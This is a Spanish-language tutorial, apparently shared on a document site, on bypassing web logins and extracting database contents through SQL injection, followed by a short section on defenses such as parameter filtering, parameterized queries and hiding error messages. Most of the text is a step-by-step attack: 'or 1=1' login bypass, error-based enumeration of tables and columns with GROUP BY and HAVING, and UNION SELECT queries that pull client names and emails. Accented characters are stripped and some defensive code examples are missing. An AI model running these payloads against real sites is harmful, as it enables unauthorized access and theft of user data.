You are on page 1of 9

MTODO PARA VULNERAR LOGGING CON INYECCIN DE SQL.

La inyeccin SQL es una de las formas mas comunes y peligrosas que utilizan los crackers para ingresar a un sistema de bases de datos y poder hacer ah lo que quieran, borrar tablas e informacin, modificarla a su antojo y mucho mas. Muchos sitios Web, ofrecen dentro de su publicidad conceptos asociados a la seguridad a la hora de acceder basndose en los hostings o servidores de datos con los que cuentan. Pero la verdad es que la gran responsabilidad de la seguridad, a la hora de construir un sitio Web, recae sobre el programador. Por lo tanto de nada vale la opcin del hosting si los programadores no generan cdigos robustos para afrontar dichas vulnerabilidades. Como se produce la inyeccin SQl Los riesgos de una inyeccin SQL surgen cuando un programador Web crea una consulta a su base de datos dinmica, la misma posee siempre la informacin relacionada con el usuario y privilegio de accin del mismo. Es decir, por cada consulta que se realice a la base de datos del dominio, el sistema requiere que cada consulta, contemple el usuario que la realiza y su nivel de privilegios. De esta manera, se puede vulnerar los querys relacionados a bsquedas, insercin o modificacin dentro de una base de datos. En la imagen, tenemos un ejemplo de cmo un usuario se autentica en un servidor a travs de sentencias SQL.

Pongamos un ejemplo, se tiene un sitio WEB, con un formulario para la autenticacin de usuarios, donde se pide normalmente Usuario y Contrasea, si introduces Usuario = pepito y Contrasea = 1234, la informacin es enviada al servidor, el cual suele consultar si el usuario existe en una tabla con una sentencia del tipo: SELECT * FROM USUARIOS WHERE USUARIO = pepito AND CONTRASEA = 1234; Si nos se tiene los caracteres especiales controlados, el usuario se pueden identificar con, or 1 = 1 Ejecutndose en el servidor la sentencia. SELECT * FROM USUARIOS WHERE USUARIO = or 1 = 1 AND CONTRASEA = or 1 = 1; Para este caso la condicin de la sentencia se cumple producindose la autenticacin. Se puede utilizar adems comentarios para bloquear el resto de la consulta tales como: or 1 = 1 - or 1 = 1 / *. Otro modo de acceder a bases de datos de pginas est en el siguiente ejemplo: Vulnerabilidad a travs de variables tipo GET: Qu son estas variables? Podemos decir que son aquellas variables que se introducen a travs de la URL. Utilizando un ejemplo imaginario. Estamos viendo una web, y nos encontramos con un link tipo www.paginafals a.com/index.asp?profile=47. Para comprobar

si es vulnerable comenzamos por poner el smbolo . Con indicamos la finalizacin de una sentencia SQL. Nuestro cdigo malicioso ser having 1=1. El sirve para que sean ignoradas todas las sentencias que venga detrs, equivale al # en perl o al //, /*, etc de otros lenguajes. En el caso del ejemplo imaginario, nos debera de vomitar la web un error del estilo de: Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]La columna Datos.Id de la lista de seleccin no es vlida, porque no est contenida en una funcin de agregado y no hay clusula GROUP BY. D:\WADHOO01\T15\../sistema/include0.asp, lnea 4 De aqu lo nico que nos interesa es Datos.Id. Datos es el nombre de la tabla en la que estamos operando, y Id es el nombre del campo. Sera aconsejable echar un pequeo vistazo a algn manual de manejo de DBs para comprender su estructura. En estos campos ser donde se encuentre contenida la informacin que maneja la DB de la web que estamos atacando. Ahora es imprescindible utilizar el notepad y ponen NOMBRE TABLA: Datos y despus en otra lnea Campos: 1 Id. Le ponemos 1 porque los campos se encuentran ordenados dentro de la DB y ste orden es imprescindible a la hora de construir las sentencias. Sacando los campos de la tabla Ahora si recopilamos la informacin que deberamos de tener en nuestro notepad, podemos ver que ya tenemos el nombre de la tabla (Datos) y el primero campo (Id). Pero bien, ahora necesitamos sacar el resto de campos que componen la tabla Datos. Para qu? Pues para conocer la estructura sobre la que estamos trabajando, ya que posteriores inyecciones necesitarn

basarse en la informacin que vayamos obteniendo, a parte, el nombre de los campos nos darn una pista sobre donde puede haber la informacin que andamos buscando (una tabla que se llame passwords, tiene un altsimo, de un 98%, de que contenga passwords, y si encima hay otra columna con users, el trabajo est servido). Para poder ir sacando los campos en orden, nos valdremos de la siguiente inyeccin: GROUP BY Datos.Id having 1=1 La Web nos arrojar el siguiente resultado: Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]La columna

Datos.clientes de la lista de seleccin no es vlida, porque no est contenida en una funcin de agregado ni en la clusula GROUP BY. D:\WADHOO01\T15\../sistema/include0.asp, lnea 4 Bien, ya tenemos el 2 campo: clientes. Pero, como seguimos extrayendo informacin? Aadiendo mediante una , el nuevo campo descubierto, as la inyeccin nos dar el siguiente campo, quedando algo as: GROUP BY Datos.Id,clientes having 1=1 Y ahora nos devuelve la web: Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]La columna

Datos.correo de la lista de seleccin no es vlida, porque no est contenida en una funcin de agregado ni en la clusula GROUP BY.

D:\WADHOO01\T15\../sistema/include0.asp, lnea 4 Bien, lo mismo de antes, pero con el tercer campo, correo. No hace falta decir que toda esta informacin de los campos debe de ser guardada en nuestro notepad. Ahora, tenemos que ir poniendo la misma inyeccin, nicamente con la adicin de una nueva , y del campo que descubrimos hasta que nos salga algo tipo: Microsoft OLE DB Provider for ODBC Drivers error 80040e14 [Microsoft][ODBC SQL Server Driver][SQL Server]El prefijo de columna Datos no coincide con un nombre de tabla o con un alias usado en la consulta. D:\WADHOO01\T15\../sistema/include0.asp, lnea 24 Esto es el indicativo de que ya no hay ms campos, por lo tanto ya sabemos que: la tabla se llama Datos, tiene tres campos que son Id, clientes y correo. En nuestro caso, como ya les coment al inicio del tutorial, vamos a trabajar con los campos clientes y correo. Mostrando el contenido de los campos Ya tenemos los campos que nos hacan falta y que contiene la informacin que estbamos buscando, pero ahora nos hace falta ver esa informacin. Ahora es cuando entra en juego el uso de sentencias UNION SELECT. Para poder usarlo, necesitaremos facilitar el mismo nmero de campos que tiene la tabla, para ello usaremos 1. Lo que haremos ser primero encontrar un valor en el campo clientes y despus encontrar su correo correspondiente. Para ello nos deberemos de

basar en la ingeniera social, yo por ejemplo voy a buscar el primer nombre que empiece por J. Entonces monto la inyeccin de esta forma: UNION SELECT MIN(Campo),1,1,1/* tantos 1 como campos */ FROM Tabla WHERE campo > j Con esto nos devolver el primer nombre que empiece por j. El error que nos devuelve el contenido es debido a que la variable est configurada como de tipo varchar y al ser una letra con lo que operamos, la funcin min() sufre un error de sintaxis. Mi inyeccin es esta: UNION SELECT MIN(clientes),1,1 FROM Datos WHERE clientes > j Y me devuelve la web: Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar Juanito a una columna de datos tipo int. D:\WADHOO01\T15\../sistema/include0.asp, lnea 24 Ya tenemos un cliente que se llama Juanito. Veamos su correo: UNION SELECT MIN(correo),1,1 FROM Datos WHERE clientes = Juanito Y el resultado es. Microsoft OLE DB Provider for ODBC Drivers error 80040e07 [Microsoft] [ODBC SQL Server Driver] [SQL Server]Error de Sintaxis al convertir el valor varchar he@ArgeniversoHAck.com>Juanito_de_noc he@ArgeniversoHAck.com a una columna de datos tipo int.

D:\WADHOO01\T15\../sistema/include0.asp, lnea 24 Pues ya tenemos nuestros datos y el cliente juanito tiene un correo que es he@ArgeniversoHAck.com>Juanito_de_noche@ArgeniversoHAck.com. MTODOS PARA PROTEGER UNA PGINA WEB DE ATAQUES CON INYECCIN DE SQL. FILTRO DE PARMETROS. Ante una consulta de tipo:
$registro = mysql_query("SELECT * FROM libros WHERE id='".$id."'",$recurso) or die(mysql_error()); $registro = mysql_fetch_assoc($registro);

Se propone la utilizacin de una funcin llamada GetSQLValueString. La misma obliga a la consulta a filtrar los parmetros que va a recibir del usuario antes de colocarlos en la sintaxis de ejecucin del query. Quedando de la siguiente manera:
$registro = mysql_query(sprintf("SELECT * FROM libros WHERE id=%s", GetSQLValueString($id, int"),$recurso) or die(mysql_error());

A la funcin GetSQLValueString se le debe pasar 2 parmetros. El primero es el dato que queremos filtrar e introducir dentro de la consulta. El segundo el tipo de dato que es, que puede ser: int, double, long, text, date, defined. COMANDOS PARAMETRIZABLES. Uso obligatorio de parmetros bajo solo un tipo de datos definido para evitar la insercin de cadenas SQL maliciosas como smbolos y caracteres no identificados. Por ejemplo:

En la misma se solicitan los datos de curtid y idCliente bajo parmetros precisos. En otros casos ms crticos, podemos evitar sentencias mucho ms graves como esta:

ELIMINACIN DE VOLCADO DE MENSAJES DE ERROR. El volcado de mensajes de error es una manera de cmo el webmaster puede dar apoyo a los usuarios de un sistema. Sin embargo, constituye una amenaza porque revela informacin concerniente a los campos, bases de datos y tablas asociadas a la pgina Web. Por sta razn, es preferible, eliminar las condiciones o la forma como el sistema muestra los errores de solicitudes a la base de datos.

You might also like